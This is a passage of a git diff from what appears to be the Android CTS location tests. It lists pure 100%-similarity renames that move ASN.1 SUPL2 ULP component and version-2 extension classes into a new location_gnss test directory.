rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/GsmCellInformation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horandveruncert.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Horandveruncert.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horandveruncert.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Horandveruncert.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horandvervel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Horandvervel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horandvervel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Horandvervel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horvel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Horvel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horvel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Horvel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horveluncert.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Horveluncert.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horveluncert.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Horveluncert.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/IPAddress.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/IPAddress.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/IPAddress.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/IPAddress.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/LocationId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/LocationId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/LocationId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/LocationId.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/MeasuredResults.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/MeasuredResults.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/MeasuredResults.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/MeasuredResults.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/MeasuredResultsList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/MeasuredResultsList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/MeasuredResultsList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/MeasuredResultsList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/NMR.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/NMR.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/NMR.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/NMR.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/NMRelement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/NMRelement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/NMRelement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/NMRelement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Pathloss.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Pathloss.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Pathloss.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Pathloss.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PosMethod.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/PosMethod.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PosMethod.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/PosMethod.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Position.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Position.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Position.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Position.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PositionEstimate.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/PositionEstimate.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PositionEstimate.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/PositionEstimate.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PrimaryCCPCH_RSCP.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/PrimaryCCPCH_RSCP.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PrimaryCCPCH_RSCP.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/PrimaryCCPCH_RSCP.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PrimaryCPICH_Info.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/PrimaryCPICH_Info.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/PrimaryCPICH_Info.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/PrimaryCPICH_Info.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/QoP.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/QoP.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/QoP.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/QoP.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SETId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/SETId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SETId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/SETId.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SLPAddress.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/SLPAddress.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SLPAddress.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/SLPAddress.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SessionID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/SessionID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SessionID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/SessionID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SetSessionID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/SetSessionID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SetSessionID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/SetSessionID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SlpSessionID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/SlpSessionID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SlpSessionID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/SlpSessionID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Status.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Status.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Status.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Status.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/StatusCode.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/StatusCode.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/StatusCode.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/StatusCode.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TAResolution.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/TAResolution.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TAResolution.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/TAResolution.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TGSN.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/TGSN.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TGSN.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/TGSN.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TimeslotISCP.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/TimeslotISCP.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TimeslotISCP.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/TimeslotISCP.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TimeslotISCP_List.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/TimeslotISCP_List.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TimeslotISCP_List.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/TimeslotISCP_List.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TimingAdvance.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/TimingAdvance.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TimingAdvance.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/TimingAdvance.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/UARFCN.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/UARFCN.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/UARFCN.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/UARFCN.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/UTRA_CarrierRSSI.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/UTRA_CarrierRSSI.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/UTRA_CarrierRSSI.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/UTRA_CarrierRSSI.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Velocity.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Velocity.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Velocity.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Velocity.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Ver.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Ver.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Ver.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Ver.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Version.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Version.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Version.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/Version.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/WcdmaCellInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/WcdmaCellInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/WcdmaCellInformation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_components/WcdmaCellInformation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/AllowedReportingType.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/AllowedReportingType.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/AllowedReportingType.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/AllowedReportingType.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/BasicProtectionParams.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/BasicProtectionParams.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/BasicProtectionParams.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/BasicProtectionParams.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/HistoricReporting.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/HistoricReporting.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/HistoricReporting.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/HistoricReporting.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/NotificationMode.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/NotificationMode.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/NotificationMode.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/NotificationMode.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/ProtLevel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/ProtLevel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/ProtLevel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/ProtLevel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/ProtectionLevel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/ProtectionLevel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/ProtectionLevel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/ProtectionLevel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/ReportingCriteria.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/ReportingCriteria.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/ReportingCriteria.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/ReportingCriteria.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/TimeWindow.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/TimeWindow.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/TimeWindow.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/TimeWindow.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_END_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_END_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_END_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_END_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_INIT_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_INIT_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_INIT_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_INIT_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_POS_INIT_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_POS_INIT_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_POS_INIT_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_POS_INIT_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_POS_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_POS_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_POS_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_POS_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_RESPONSE_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_RESPONSE_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_RESPONSE_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_RESPONSE_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_START_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_START_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_START_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_START_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/DGANSS_Sig_Id_Req.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/DGANSS_Sig_Id_Req.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/DGANSS_Sig_Id_Req.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/DGANSS_Sig_Id_Req.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/EventTriggerCapabilities.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/EventTriggerCapabilities.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/EventTriggerCapabilities.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/EventTriggerCapabilities.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ExtendedEphCheck.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/ExtendedEphCheck.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ExtendedEphCheck.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/ExtendedEphCheck.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ExtendedEphemeris.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/ExtendedEphemeris.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ExtendedEphemeris.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/ExtendedEphemeris.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositionMethod.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositionMethod.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositionMethod.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositionMethod.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositionMethods.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositionMethods.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositionMethods.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositionMethods.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositioningMethodTypes.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositioningMethodTypes.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositioningMethodTypes.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositioningMethodTypes.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSextEphTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GANSSextEphTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSextEphTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GANSSextEphTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GPSTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GPSTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GPSTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GPSTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssAdditionalDataChoices.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssAdditionalDataChoices.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssAdditionalDataChoices.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssAdditionalDataChoices.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssDataBits.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssDataBits.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssDataBits.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssDataBits.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssExtendedEphCheck.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssExtendedEphCheck.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssExtendedEphCheck.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssExtendedEphCheck.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssNavigationModelData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssNavigationModelData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssNavigationModelData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssNavigationModelData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssReqGenericData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssReqGenericData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssReqGenericData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssReqGenericData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssRequestedCommonAssistanceDataList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssRequestedCommonAssistanceDataList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssRequestedCommonAssistanceDataList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssRequestedCommonAssistanceDataList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssRequestedGenericAssistanceDataList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssRequestedGenericAssistanceDataList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssRequestedGenericAssistanceDataList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GanssRequestedGenericAssistanceDataList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GeoAreaShapesSupported.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GeoAreaShapesSupported.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GeoAreaShapesSupported.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/GeoAreaShapesSupported.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/PosProtocolVersion3GPP.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/PosProtocolVersion3GPP.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/PosProtocolVersion3GPP.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/PosProtocolVersion3GPP.java
